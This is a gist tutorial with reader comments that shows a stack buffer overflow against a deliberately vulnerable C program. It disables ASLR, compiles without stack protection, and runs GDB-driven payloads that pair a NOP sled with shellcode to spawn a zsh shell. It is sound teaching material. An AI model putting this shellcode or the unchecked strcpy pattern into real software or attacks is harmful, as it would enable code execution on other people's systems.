apolloclark / **Buffer Overflow Tutorial in Kali.md**

Last active 6 days ago

Buffer overflow demonstration in Kali Linux, based on the Computerphile video

`Buffer Overflow Tutorial in Kali.md`

Buffer Overflow Tutorial

This tutorial is based on the Computerphile video, made by Dr. Mike Pound

https://www.youtube.com/watch?v=1S0aBV-Waeo

The tutorial will show you how to trigger and exploit a buffer overflow attack against a custom C program, using Kali Linux 32-bit PAE 2016.1.

Torrent Link: https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.torrent

disable memory randomization, enable core dumps

http://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/
http://www.akadia.com/services/ora_enable_core.html

```
cat /proc/sys/kernel/randomize_va_space
sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf'
sudo sysctl -p
cat /proc/sys/kernel/randomize_va_space
# verify "0"
ulimit -c unlimited
ulimit -c
# verify "unlimited"
```

scripts

http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

[envexec.sh]

```
#!/bin/sh

while getopts "dte:h?" opt ; do
  case "$opt" in
    h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
      exit 0
      ;;
    t)
      tty=1
      gdb=1
      ;;
    d)
      gdb=1
      ;;
    e)
```

```
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
    touch /tmp/gdb-debug-pty
    exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog "$@"
  else
    exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi
```

[vuln.c]

```
#include <stdio.h>
#include <string.h>

int main (int argc, char** argv)
{
        char buffer[500];
        strcpy(buffer, argv[1]);

        return 0;
}
```

Commands

```
# compile the code
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln

# clean the environment, debug
chmod +x envexec.sh
./envexec.sh -d vuln

# clean the environment, execute exploit
./envexec.sh /root/vuln $(python ...)

# run gdb, load a program to analyze
gdb vuln
```

GDB commands

```
# quit the debugger
quit

# clear the screen
ctrl + l
shell clear

# show debugging symbols, ie. code
list
list main

# show the assemlby code
disas main
```

```
# examine information
info os

info functions

info variables

# run the program, with input
run Hello

# run the overflow, seg fault
run $(python -c 'print "\x41" * 508')

# examine memory address
x/200x ($esp - 550)

# confirm overwrite of ebp register
info registers

# find a location, below ESP (stack pointer)
EDI = destination index, string / array copying
ESI = source index, string + array copying

EIP = index pointer, next address to execute
EBP = stack base pointer
ESP = stack pointer, starting in high memory, going down
EDX = data register

# run the overflow, launch a zsh shell
run $(python -c 'print "\x90" * 426 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x

# examine memory address
x/200x ($esp - 550)

# convert memeory address to little endian
ecx            0xbfffffc0       -1073741888
edx            0xbffffc3a       -1073742790
ebx            0xb7fb8000       -1208254464
esp            0xbffffc40       0xbffffc40
ebp            0x51515151       0x51515151

0xbf ff fa ba
\xba\xfa\xff\xbf


# run the exploit, execut /bin/zsh5
run $(python -c 'print "\x90" * 425 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x
```

PhoenixFlame93 commented on May 23, 2016

In the video, you run everything on root. Then finally, the exploit code also shows root. How could you verify the shellcode runs properly? It's because when I follow the tutorial, everything works fine. But when I check whoami to verify, it still says I'm not root.

mogosselin commented on Sep 21, 2016

Here's a direct link to the VM file, nobody is seeding the torrent at the moment: https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.7z

Sharan123 commented on Oct 22, 2016

To answer **@PhoenixFlame93** You need an application be be run as suid (and owner root) for you to get root. Otherwise you will just get the shell with the privileges of the user who ran the program

apolloclark commented on Nov 18, 2016 • edited Owner

@Sharan123 yes, that is correct. **@PhoenixFlame93** this attack will not let you change from a non-root user to a root user. That type of attack is a "privilege escalation" attack. There are various Linux kernel exploits that will allow you do that. You can also look into some of the payloads available from Metasploit.

JohnHubcr commented on Jun 4, 2017

hello,why \x90 changed to \x90c2 (Linux kali 4.9.0-kali4-686-pae #1 SMP Debian 4.9.25-1kali1 (2017-05-04) i686 GNU/Linux)

0000| 0xbfffebd0 --> 0x90c290c2
0004| 0xbfffebd4 --> 0x90c290c2
0008| 0xbfffebd8 --> 0x90c290c2
0012| 0xbfffebdc --> 0x90c290c2
0016| 0xbfffebe0 --> 0x90c290c2
0020| 0xbfffebe4 --> 0x90c290c2
0024| 0xbfffebe8 --> 0x90c290c2
0028| 0xbfffebec --> 0x90c290c2

elliot7 commented on Jun 6, 2017

i have some q above Buffer overflow
1- is this exploit just work in kali unstable kernal or all destribution of linux (32bit arch)?
2- why we used envexec.sh we can use internal GDB ?
3- how we can redirect this to work remotly in reverse conntion?
i have kali 4.0.0 (Debian 4.0.1) 32bit but not work with me why ?

melisyara commented on Aug 11, 2017

ebx 0xb7fb8000 -1208254464 (yours)
ebx 0xb7fb6000 -1208262656 (mine)

can you tell me how to change it? because i already use mine but it's not work. thanks

kevin25 commented on Oct 17, 2017

Compiled issue on Kali Linux

```
cc1: error: -mpreferred-stack-boundary=2 is not between 3 and 12
```

T3jv1l commented on Oct 27, 2017

@kevin25 just type -mpreferred-stack-boundary=3 but your processor is 64 bit not 32

sajiro commented on Dec 6, 2017

When i run the disas main: the output is different

```
(gdb) disas main
Dump of assembler code for function main:
0x000000000000064a <+0>: push %rbp
0x000000000000064b <+1>: mov %rsp,%rbp
0x000000000000064e <+4>: sub $0x210,%rsp
0x0000000000000655 <+11>: mov %edi,-0x204(%rbp)
0x000000000000065b <+17>: mov %rsi,-0x210(%rbp)
0x0000000000000662 <+24>: mov -0x210(%rbp),%rax
0x0000000000000669 <+31>: add $0x8,%rax
0x000000000000066d <+35>: mov (%rax),%rdx
0x0000000000000670 <+38>: lea -0x200(%rbp),%rax
0x0000000000000677 <+45>: mov %rdx,%rsi
0x000000000000067a <+48>: mov %rax,%rdi
0x000000000000067d <+51>: callq 0x520 strcpy@plt
0x0000000000000682 <+56>: mov $0x0,%eax
0x0000000000000687 <+61>: leaveq
0x0000000000000688 <+62>: retq
End of assembler dump.
```

SangaeLama commented on Jan 10

The torrent link to the image of the Kali is not working. Please help

dreadpiratepj commented on May 1

If the torrent isn't working, you can download the file directly from here:

https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.7z